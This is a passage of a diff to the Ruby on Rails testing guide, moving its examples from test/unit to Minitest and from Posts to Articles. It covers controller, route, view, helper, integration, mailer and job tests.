`expecting` and `actual` are within `delta` of each other.| -| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| -| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| -| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.| -| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.| -| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.| -| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.| -| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.| -| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?| -| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| +There are a bunch of different types of assertions you can use that come with [`Minitest`](https://github.com/seattlerb/minitest), the default testing library used by Rails. + +For a list of all available assertions please check the [Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html) Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. @@ -390,7 +419,7 @@ NOTE: Creating your own assertions is an advanced topic that we won't cover in t ### Rails Specific Assertions -Rails adds some custom assertions of its own to the `test/unit` framework: +Rails adds some custom assertions of its own to the `minitest` framework: | Assertion | Purpose | | --------------------------------------------------------------------------------- | ------- | @@ -398,16 +427,30 @@ Rails adds some custom assertions of its own to the `test/unit` framework: | `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| | `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| | `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| -| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range| -| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.| +| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.| +| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.| | `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.| You'll see the usage of some of these assertions in the next chapter. +### A Brief Note About Minitest + +All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from: + +* `ActiveSupport::TestCase` +* `ActionController::TestCase` +* `ActionMailer::TestCase` +* `ActionView::TestCase` +* `ActionDispatch::IntegrationTest` + +Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests. + +NOTE: For more information on `Minitest`, refer to [Minitest](http://ruby-doc.org/stdlib-2.1.0/libdoc/minitest/rdoc/MiniTest.html) + Functional Tests for Your Controllers ------------------------------------- -In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. +In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you're testing how your actions handle the requests and the expected result, or response in some cases an HTML view. ### What to Include in your Functional Tests @@ -419,24 +462,26 @@ You should test for things such as: * was the correct object stored in the response template? * was the appropriate message displayed to the user in the view? -Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory. +Now that we have used Rails scaffold generator for our `Article` resource, it has already created the controller code and tests. You can take look at the file `articles_controller_test.rb` in the `test/controllers` directory. -Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`. +Let me take you through one such test, `test_should_get_index` from the file `articles_controller_test.rb`. ```ruby -test "should get index" do - get :index - assert_response :success - assert_not_nil assigns(:posts) +class ArticlesControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:articles) + end end ``` -In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable. +In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `articles` instance variable. The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments: * The action of the controller you are requesting. This can be in the form of a string or a symbol. -* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). +* An optional hash of request parameters to pass into the action (eg. query string parameters or article variables). * An optional hash of session variables to pass along with the request. * An optional hash of flash values. @@ -452,17 +497,17 @@ Another example: Calling the `:view` action, passing an `id` of 12 as the `param get(:view, {'id' => '12'}, nil, {'message' => 'booya!'}) ``` -NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so. +NOTE: If you try running `test_should_create_article` test from `articles_controller_test.rb` it will fail on account of the newly added model level validation and rightly so. -Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass: +Let us modify `test_should_create_article` test in `articles_controller_test.rb` so that all our test pass: ```ruby -test "should create post" do - assert_difference('Post.count') do - post :create, post: {title: 'Some title'} +test "should create article" do + assert_difference('Article.count') do + post :create, article: {title: 'Some title'} end - assert_redirected_to post_path(assigns(:post)) + assert_redirected_to article_path(assigns(:article)) end ``` @@ -479,13 +524,13 @@ If you're familiar with the HTTP protocol, you'll know that `get` is a type of r * `head` * `delete` -All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others. +All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put` and `delete` more often. -NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive. +NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful. ### The Four Hashes of the Apocalypse -After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use: +After a request has been made and processed, you will have 4 Hash objects ready for use: * `assigns` - Any objects that are stored as instance variables in actions for use in views. * `cookies` - Any cookies that are set. @@ -508,11 +553,32 @@ assigns["something"] assigns(:something) You also have access to three instance variables in your functional tests: * `@controller` - The controller processing the request -* `@request` - The request -* `@response` - The response +* `@request` - The request object +* `@response` - The response object + +### Setting Headers and CGI variables + +[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3) +and +[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1) +can be set directly on the `@request` instance variable: + +```ruby +# setting a HTTP Header +@request.headers["Accept"] = "text/plain, text/html" +get :index # simulate the request with custom header + +# setting a CGI variable +@request.headers["HTTP_REFERER"] = "http://example.com/home" +post :create # simulate the request with custom env variable +``` ### Testing Templates and Layouts +Eventually, you may want to test whether a specific layout is rendered in the view of a response. + +#### Asserting Templates + If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template` method: @@ -521,24 +587,22 @@ test "index should render correct template and layout" do get :index assert_template :index assert_template layout: "layouts/application" + + # You can also pass a regular expression. + assert_template layout: /layouts\/application/ end ``` -Note that you cannot test for template and layout at the same time, with one call to `assert_template` method. -Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes -things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout -file in this standard layout directory. Hence, +NOTE: You cannot test for template and layout at the same time, with a single call to `assert_template`. -```ruby -assert_template layout: "application" -``` +WARNING: You must include the "layouts" directory name even if you save your layout file in this standard layout directory. Hence, `assert_template layout: "application"` will not work. -will not work. +#### Asserting Partials -If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time. +If your view renders any partial, when asserting for the layout, you can to assert for the partial at the same time. Otherwise, assertion will fail. -Hence: +Remember, we added the "_form" partial to our creating Articles view? Let's write an assertion for that in the `:new` action now: ```ruby test "new should render correct layout" do @@ -547,339 +611,406 @@ test "new should render correct layout" do end ``` -is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain. +This is the correct way to assert for when the view renders a partial with a given name. As identified by the `:partial` key passed to the `assert_template` call. + +### Testing `flash` notices -### A Fuller Functional Test Example +If you remember from earlier one of the Four Hashes of the Apocalypse was `flash`. -Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`: +We want to add a `flash` message to our blog application whenever someone +successfully creates a new Article. + +Let's start by adding this assertion to our `test_should_create_article` test: ```ruby -test "should create post" do - assert_difference('Post.count') do - post :create, post: {title: 'Hi', body: 'This is my first post.'} +test "should create article" do + assert_difference('Article.count') do + post :create, article: {title: 'Some title'} end - assert_redirected_to post_path(assigns(:post)) - assert_equal 'Post was successfully created.', flash[:notice] + + assert_redirected_to article_path(assigns(:article)) + assert_equal 'Article was successfully created.', flash[:notice] end ``` -### Testing Views +If we run our test now, we should see a failure: -Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax. +```bash +$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +Run options: -n test_should_create_article --seed 32266 -NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`. +# Running: -There are two forms of `assert_select`: +F -`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object. +Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s. -`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants. + 1) Failure: +ArticlesControllerTest#test_should_create_article [/Users/zzak/code/bench/sharedapp/test/controllers/articles_controller_test.rb:16]: +--- expected ++++ actual +@@ -1 +1 @@ +-"Article was successfully created." ++nil + +1 runs, 4 assertions, 1 failures, 0 errors, 0 skips +``` -For example, you could verify the contents on the title element in your response with: +Let's implement the flash message now in our controller. Our `:create` action should now look like this: ```ruby -assert_select 'title', "Welcome to Rails Testing Guide" +def create + @article = Article.new(article_params) + + if @article.save + flash[:notice] = 'Article was successfully created.' + redirect_to @article + else + render 'new' + end +end +``` + +Now if we run our tests, we should see it pass: + +```bash +$ bin/rake test test/controllers/articles_controller_test.rb test_should_create_article +Run options: -n test_should_create_article --seed 18981 + +# Running: + +. + +Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s. + +1 runs, 4 assertions, 0 failures, 0 errors, 0 skips ``` -You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block: +### Putting it together + +At this point our Articles controller tests the `:index` as well as `:new` and `:create` actions. What about dealing with existing data? + +Let's write a test for the `:show` action: ```ruby -assert_select 'ul.navigation' do - assert_select 'li.menu_item' +test "should show article" do + article = articles(:one) + get :show, id: article.id + assert_response :success end ``` -Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass. +Remember from our discussion earlier on fixtures the `articles()` method will give us access to our Articles fixtures. + +How about deleting an existing Article? ```ruby -assert_select "ol" do |elements| - elements.each do |element| - assert_select element, "li", 4 +test "should destroy article" do + article = articles(:one) + assert_difference('Article.count', -1) do + delete :destroy, id: article.id end + + assert_redirected_to articles_path end +``` -assert_select "ol" do - assert_select "li", 8 +We can also add a test for updating an existing Article. + +```ruby +test "should update article" do + article = articles(:one) + patch :update, id: article.id, article: {title: "updated"} + assert_redirected_to article_path(assigns(:article)) end ``` -The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html). +Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`. -#### Additional View-Based Assertions +Our test should now look something like this, disregard the other tests we're leaving them out for brevity. -There are more assertions that are primarily used in testing views: +```ruby +require 'test_helper' -| Assertion | Purpose | -| ---------------------------------------------------------- | ------- | -| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | -| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| -| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| +class ArticlesControllerTest < ActionController::TestCase + # called before every single test + def setup + @article = articles(:one) + end -Here's an example of using `assert_select_email`: + # called after every single test + def teardown + # as we are re-initializing @article before every test + # setting it to nil here is not essential but I hope + # you understand how you can use the teardown method + @article = nil + end -```ruby -assert_select_email do - assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' + test "should show article" do + # Reuse the @article instance variable from setup + get :show, id: @article.id + assert_response :success + end + + test "should destroy article" do + assert_difference('Article.count', -1) do + delete :destroy, id: @article.id + end + + assert_redirected_to articles_path + end + + test "should update article" do + patch :update, id: @article.id, article: {title: "updated"} + assert_redirected_to article_path(assigns(:article)) + end end ``` -Integration Testing -------------------- +Similar to other callbacks in Rails, the `setup` and `teardown` methods can also be used by passing a block, lambda, or method name as a symbol to call. -Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. +Testing Routes +-------------- -Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. +Like everything else in your Rails application, it is recommended that you test your routes. Below are example tests for the routes of default `show` and `create` action of `Articles` controller above and it should look like: -```bash -$ rails generate integration_test user_flows - exists test/integration/ - create test/integration/user_flows_test.rb +```ruby +class ArticleRoutesTest < ActionController::TestCase + test "should route to article" do + assert_routing '/articles/1', { controller: "articles", action: "show", id: "1" } + end + + test "should route to create article" do + assert_routing({ method: 'post', path: '/articles' }, { controller: "articles", action: "create" }) + end +end ``` -Here's what a freshly-generated integration test looks like: +I've added this file here `test/controllers/articles_routes_test.rb` and if we run the test we should see: -```ruby -require 'test_helper' +```bash +$ bin/rake test test/controllers/articles_routes_test.rb -class UserFlowsTest < ActionDispatch::IntegrationTest - fixtures :all +# Running: - # Replace this with your real tests. - test "the truth" do - assert true - end -end +.. + +Finished in 0.069381s, 28.8263 runs/s, 86.4790 assertions/s. + +2 runs, 6 assertions, 0 failures, 0 errors, 0 skips ``` -Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. +For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). -### Helpers Available for Integration Tests +Testing Views +------------- -In addition to the standard testing helpers, there are some additional helpers available to integration tests: +Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax. -| Helper | Purpose | -| ------------------------------------------------------------------ | ------- | -| `https?` | Returns `true` if the session is mimicking a secure HTTPS request.| -| `https!` | Allows you to mimic a secure HTTPS request.| -| `host!` | Allows you to set the host name to use in the next request.| -| `redirect?` | Returns `true` if the last request was a redirect.| -| `follow_redirect!` | Follows a single redirect response.| -| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.| -| `post_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP POST request and follow any subsequent redirects.| -| `get_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP GET request and follow any subsequent redirects.| -| `patch_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PATCH request and follow any subsequent redirects.| -| `put_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PUT request and follow any subsequent redirects.| -| `delete_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP DELETE request and follow any subsequent redirects.| -| `open_session` | Opens a new session instance.| +There are two forms of `assert_select`: -### Integration Testing Examples +`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values. -A simple integration test that exercises multiple controllers: +`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants. -```ruby -require 'test_helper' +For example, you could verify the contents on the title element in your response with: -class UserFlowsTest < ActionDispatch::IntegrationTest - fixtures :users +```ruby +assert_select 'title', "Welcome to Rails Testing Guide" +``` - test "login and browse site" do - # login via https - https! - get "/login" - assert_response :success +You can also use nested `assert_select` blocks for deeper investigation. - post_via_redirect "/login", username: users(:avs).username, password: users(:avs).password - assert_equal '/welcome', path - assert_equal 'Welcome avs!', flash[:notice] +In the following example, the inner `assert_select` for `li.menu_item` runs +within the collection of elements selected by the outer block: - https!(false) - get "/posts/all" - assert_response :success - assert assigns(:products) - end +```ruby +assert_select 'ul.navigation' do + assert_select 'li.menu_item' end ``` -As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application. +A collection of selected elements may be iterated through so that `assert_select` may be called separately for each element. -Here's an example of multiple sessions and custom DSL in an integration test +For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass. ```ruby -require 'test_helper' +assert_select "ol" do |elements| + elements.each do |element| + assert_select element, "li", 4 + end +end -class UserFlowsTest < ActionDispatch::IntegrationTest - fixtures :users +assert_select "ol" do + assert_select "li", 8 +end +``` + +This assertion is quite powerful. For more advanced usage, refer to its [documentation](http://www.rubydoc.info/github/rails/rails-dom-testing). - test "login and browse site" do +#### Additional View-Based Assertions - # User avs logs in - avs = login(:avs) - # User guest logs in - guest = login(:guest) +There are more assertions that are primarily used in testing views: - # Both are now available in different sessions - assert_equal 'Welcome avs!', avs.flash[:notice] - assert_equal 'Welcome guest!', guest.flash[:notice] +| Assertion | Purpose | +| --------------------------------------------------------- | ------- | +| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | +| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| +| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| - # User avs can browse site - avs.browses_site - # User guest can browse site as well - guest.browses_site +Here's an example of using `assert_select_email`: - # Continue with other assertions - end +```ruby +assert_select_email do + assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' +end +``` - private +Testing helpers +--------------- - module CustomDsl - def browses_site - get "/products/all" - assert_response :success - assert assigns(:products) - end - end +In order to test helpers, all you need to do is check that the output of the +helper method matches what you'd expect. Tests related to the helpers are +located under the `test/helpers` directory. - def login(user) - open_session do |sess| - sess.extend(CustomDsl) - u = users(user) - sess.https! - sess.post "/login", username: u.username, password: u.password - assert_equal '/welcome', path - sess.https!(false) - end - end +A helper test looks like so: + +```ruby +require 'test_helper' + +class UserHelperTest < ActionView::TestCase end ``` -Rake Tasks for Running your Tests ---------------------------------- +A helper is just a simple module where you can define methods which are +available into your views. To test the output of the helper's methods, you just +have to use a mixin like this: -You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project. +```ruby +class UserHelperTest < ActionView::TestCase + include UserHelper -| Tasks | Description | -| ------------------------------- | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.| -| `rake test:benchmark` | Benchmark the performance tests| -| `rake test:controllers` | Runs all the controller tests from `test/controllers`| -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`| -| `rake test:helpers` | Runs all the helper tests from `test/helpers`| -| `rake test:integration` | Runs all the integration tests from `test/integration`| -| `rake test:mailers` | Runs all the mailer tests from `test/mailers`| -| `rake test:models` | Runs all the model tests from `test/models`| -| `rake test:profile` | Profile the performance tests| -| `rake test:recent` | Tests recent changes| -| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git| -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`| + test "should return the user name" do + # ... + end +end +``` +Moreover, since the test class extends from `ActionView::TestCase`, you have +access to Rails' helper methods such as `link_to` or `pluralize`. -Brief Note About `Test::Unit` ------------------------------ +Integration Testing +------------------- -Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing -us to use all of the basic assertions in our tests. +Integration tests are used to test how various parts of your application interact. They are generally used to test important work flows within your application. -NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/) +For creating Rails integration tests, we use the 'test/integration' directory for your application. Rails provides a generator to create an integration test skeleton for you. -Setup and Teardown ------------------- +```bash +$ bin/rails generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +``` -If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller: +Here's what a freshly-generated integration test looks like: ```ruby require 'test_helper' -class PostsControllerTest < ActionController::TestCase +class UserFlowsTest < ActionDispatch::IntegrationTest + # test "the truth" do + # assert true + # end +end +``` - # called before every single test - def setup - @post = posts(:one) - end +Inheriting from `ActionDispatch::IntegrationTest` comes with some advantages. This makes available some additional helpers to use in your integration tests. - # called after every single test - def teardown - # as we are re-initializing @post before every test - # setting it to nil here is not essential but I hope - # you understand how you can use the teardown method - @post = nil - end +### Helpers Available for Integration Tests - test "should show post" do - get :show, id: @post.id - assert_response :success - end +In addition to the standard testing helpers, inheriting `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's briefly introduce you to the three categories of helpers you get to choose from. - test "should destroy post" do - assert_difference('Post.count', -1) do - delete :destroy, id: @post.id - end +For dealing with the integration test runner, see [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). - assert_redirected_to posts_path - end +When performing requests, you will have [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html) available for your use. -end -``` +If you'd like to modify the session, or state of your integration test you should look for [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html) to help. -Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using: +### Implementing an integration test -* a block -* a method (like in the earlier example) -* a method name as a symbol -* a lambda +Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly. -Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol: +We'll start by generating our integration test skeleton: -```ruby -require 'test_helper' +```bash +$ bin/rails generate integration_test blog_flow +``` -class PostsControllerTest < ActionController::TestCase +It should have created a test file placeholder for us, with the output of the previous command you should see: - # called before every single test - setup :initialize_post +```bash + invoke test_unit + create test/integration/blog_flow_test.rb +``` - # called after every single test - def teardown - @post = nil - end +Now let's open that file and write our first assertion: - test "should show post" do - get :show, id: @post.id - assert_response :success - end +```ruby +require 'test_helper' - test "should update post" do - patch :update, id: @post.id, post: {} - assert_redirected_to post_path(assigns(:post)) +class BlogFlowTest < ActionDispatch::IntegrationTest + test "can see the welcome page" do + get "/" + assert_select "h1", "Welcome#index" end +end +``` - test "should destroy post" do - assert_difference('Post.count', -1) do - delete :destroy, id: @post.id - end +If you remember from earlier in the "Testing Views" section we covered `assert_select` to query the resulting HTML of a request. - assert_redirected_to posts_path - end +When visit our root path, we should see `welcome/index.html.erb` rendered for the view. So this assertion should pass. - private +#### Creating articles integration - def initialize_post - @post = posts(:one) - end +How about testing our ability to create a new article in our blog and see the resulting article. + +```ruby +test "can create an article" do + get "/articles/new" + assert_response :success + assert_template "articles/new", partial: "articles/_form" + post "/articles", article: {title: "can create", body: "article successfully."} + assert_response :redirect + follow_redirect! + assert_response :success + assert_template "articles/show" + assert_select "p", "Title:\n can create" end ``` -Testing Routes --------------- +Let's break this test down so we can understand it. + +We start by calling the `:new` action on our Articles controller. This response should be successful, and we can verify the correct template is rendered including the form partial. -Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like: +After this we make a post request to the `:create` action of our Articles controller: ```ruby -test "should route to post" do - assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"} -end +post "/articles", article: {title: "can create", body: "article successfully."} +assert_response :redirect +follow_redirect! ``` +The two lines following the request are to handle the redirect we setup when creating a new article. + +NOTE: Don't forget to call `follow_redirect!` if you plan to make subsequent requests after a redirect is made. + +Finally we can assert that our response was successful, template was rendered, and our new article is readable on the page. + +#### Taking it further + +We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editting comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications. + Testing Your Mailers -------------------- @@ -887,7 +1018,7 @@ Testing mailer classes requires some specific tools to do a thorough job. ### Keeping the Postman in Check -Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected. +Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected. The goals of testing your mailer classes are to ensure that: @@ -917,21 +1048,25 @@ Here's a unit test to test a mailer named `UserMailer` whose action `invite` is require 'test_helper' class UserMailerTest < ActionMailer::TestCase - tests UserMailer test "invite" do - @expected.from = 'me@example.com' - @expected.to = 'friend@example.com' - @expected.subject = "You have been invited by #{@expected.from}" - @expected.body = read_fixture('invite') - @expected.date = Time.now - - assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded + # Send the email, then test that it got queued + email = UserMailer.create_invite('me@example.com', + 'friend@example.com', Time.now).deliver_now + assert_not ActionMailer::Base.deliveries.empty? + + # Test the body of the sent email contains what we expect it to + assert_equal ['me@example.com'], email.from + assert_equal ['friend@example.com'], email.to + assert_equal 'You have been invited by me@example.com', email.subject + assert_equal read_fixture('invite').join, email.body.to_s end - end ``` -In this test, `@expected` is an instance of `TMail::Mail` that you can use in your tests. It is defined in `ActionMailer::TestCase`. The test above uses `@expected` to construct an email, which it then asserts with email created by the custom mailer. The `invite` fixture is the body of the email and is used as the sample content to assert against. The helper `read_fixture` is used to read in the content from this file. +In the test we send the email and store the returned object in the `email` +variable. We then ensure that it was sent (the first assert), then, in the +second batch of assertions, we ensure that the email does indeed contain what we +expect. The helper `read_fixture` is used to read in the content from this file. Here's the content of the `invite` fixture: @@ -943,9 +1078,17 @@ You have been invited. Cheers! ``` -This is the right time to understand a little more about writing tests for your mailers. The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`). +This is the right time to understand a little more about writing tests for your +mailers. The line `ActionMailer::Base.delivery_method = :test` in +`config/environments/test.rb` sets the delivery method to test mode so that +email will not actually be delivered (useful to avoid spamming your users while +testing) but instead it will be appended to an array +(`ActionMailer::Base.deliveries`). -However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be. +NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in +`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action +Mailer tests, you can reset it manually with: +`ActionMailer::Base.deliveries.clear` ### Functional Testing @@ -963,7 +1106,59 @@ class UserControllerTest < ActionController::TestCase assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] - assert_match(/Hi friend@example.com/, invite_email.body) + assert_match(/Hi friend@example.com/, invite_email.body.to_s) + end +end +``` + +Testing Jobs +------------ + +Since your custom jobs can be queued at different levels inside your application, +you'll need to test both jobs themselves (their behavior when they get enqueued) +and that other entities correctly enqueue them. + +### A Basic Test Case + +By default, when you generate a job, an associated test will be generated as well +under the `test/jobs` directory. Here's an example test with a billing job: + +```ruby +require 'test_helper' + +class BillingJobTest < ActiveJob::TestCase + test 'that account is charged' do + BillingJob.perform_now(account, product) + assert account.reload.charged_for?(product) + end +end +``` + +This test is pretty simple and only asserts that the job get the work done +as expected. + +By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that +your jobs are performed inline. It will also ensure that all previously performed +and enqueued jobs are cleared before any test run so you can safely assume that +no 